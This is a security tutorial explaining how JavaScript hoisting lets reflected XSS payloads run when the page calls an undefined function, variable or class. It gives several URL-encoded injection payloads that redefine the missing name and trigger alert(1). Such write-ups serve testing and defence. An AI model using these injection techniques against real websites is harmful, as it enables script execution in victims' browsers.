Javascript Hoisting in XSS Scenarios
When detecting a potential Cross-Site Vulnerability (XSS), sometimes the reflected parameter is injected in a script with an undeclared element. Let’s suppose that we are facing the following:
<script>
leo.write('test','reflection_here')
</script>
leo
object is not defined in the source code or the javascript file that has the declaration no longer works because is hosted externally and the link is down.
Is it exploitable? How can we take advantage of this scenario? Javascript Hoisting could let us achieve successful exploitation in some cases.
TL/DR
- If you are injecting after an undefined function or variable, you can declare it again and bypass the undeclared error to achieve successful execution.
- Avoid using let/const variable declarations, use always var.
- If you are injecting after a
new
constructor, do not declare a Class, declare a Function. - If you are injecting after an element that is using property accessors, exploitation is not possible because properties are not hoisted.
Javascript Hoisting
According Mozilla Developer Web Docs
JavaScript Hoisting refers to the process whereby the interpreter appears to move the declaration of functions, variables or classes to the top of their scope, prior to execution of the code. Hoisting allows functions to be safely used in code before they are declared. Variable and class declarations are also hoisted, so they too can be referenced before they are declared. Note that doing so can lead to unexpected errors, and is not generally recommended.
Therefore, in Javascript declarations of functions, variables, or classes can be defined after they are used.
Another thing to have in mind is that variables declared with let and const are also hoisted but, unlike var, are not initialized with a default value. An exception will be thrown if a variable declared with let or const is read before it is initialized.
Therefore, in an XSS scenario, we will always use var when declaring a variable.
Exploitable scenarios
Imagine that after submitting the following request: https://server/?param=INJECTION
, is reflected in the following way:
vulnerableFunction('test', 'INJECTION');
Trying to scape the content with param='-alert(1)-'
:
vulnerableFunction('test', ''-alert(1)-'');
It seems to work, however, the function is not declared and the following message is observed: ReferenceError: vulnerableFunction is not defined. Therefore, XSS exploitation is not possible with this payload.
Let’s see some scenarios where Javascript Hoisting can allow achieving a successful exploitation and some cases where is not exploitable (at least as far as I know).
Function injection
We can declare the function after it’s called in the following way:
vulnerableFunction('test', ''-alert(1)-'');
function vulnerableFunction(a,b){
return 1
};
Payload: param='-alert(1)-'')%3b+function+vulnerableFunction(a,b){return+1}%3b
Or you can inject code after a declaration like this:
vulnerableFunction('test', 'test');
function vulnerableFunction(a,b){
return 1
};
alert(1)
Payload: param=test')%3bfunction+vulnerableFunction(a,b){return+1}%3balert(1)
There is a tricky scenario that is described Here
Variable injection
In the following case, the function myFunction
is defined but the variable a
used later is not. We can take advantage of variable hosting to achieve a successful XSS execution.
function myFunction(a,b){
return 1
};
myFunction(a, 'test');
var a = 1;
alert(1);
Payload: param=test')%3b+var+a+%3d+1%3b+alert(1)%3b
Notice that the need for var is important because var is initialized with undefined
and does not throw an error. However, the use of let/const will throw the following error ReferenceError: can’t access lexical declaration ‘a’ before initialization” because the variable is initialized.
Other scenarios
Class injection
In the following scenario, the class unexploitableClass
is not defined. As indicated before, class declarations are hoisted. However, they remain uninitialized until evaluation. This effectively means that you have to declare a class before you can use it.
var variable = new unexploitableClass();
INJECTION
Therefore, injecting something like this, will not work:
var variable = new unexploitableClass();
class unexploitableClass {
constructor(a) {
this.a = a;
}
}
An error will appear: referenceError: can’t access lexical declaration ‘unexploitableClass’ before initialization”
However, we can take advantage of the new
operator because allows us to specify a class or function that specifies the type of the object instance.
Therefore:
var variable = new unexploitableClass();
function unexploitableClass() {
return 1;
}
alert(1);
Will work.
Payload: param=function+unexploitableClass()+{return+1%3b}%3balert(1
Property accessors
Properties are not hoisted.
In the case where an object is present with a function:
test.cookie('leo','INJECTION')
Exploitation is possible with expression inside parameters:
test.cookie('leo','INJECTION'-alert(1));function test(){}
Payload: param=%27-alert(1));function%20test(){}//
Same happens with:
test['cookie','injection'-alert(1)];function test(){}
Payload: param=%27-alert(1)];function%20test(){}//
This works because Javascript is following these steps:
- Hoist the declaration of
test
(value hoisting) - Executes “get property
cookie
oftest
” (will return the value undefined) - Executes
alert(1)
(evaluates parameters before we even know if the object is a function) - Executes
test.cookie()
and crashes ascookie
(undefined) is no function
We do need a function declaration of test
as we need test
to exist to make a property access on it. However, we don’t need cookie
to exist on test
as the parameters will be evaluated before checking if the returned value of cookie
is a function or not.
Thanks @joaxcar for pointing it out.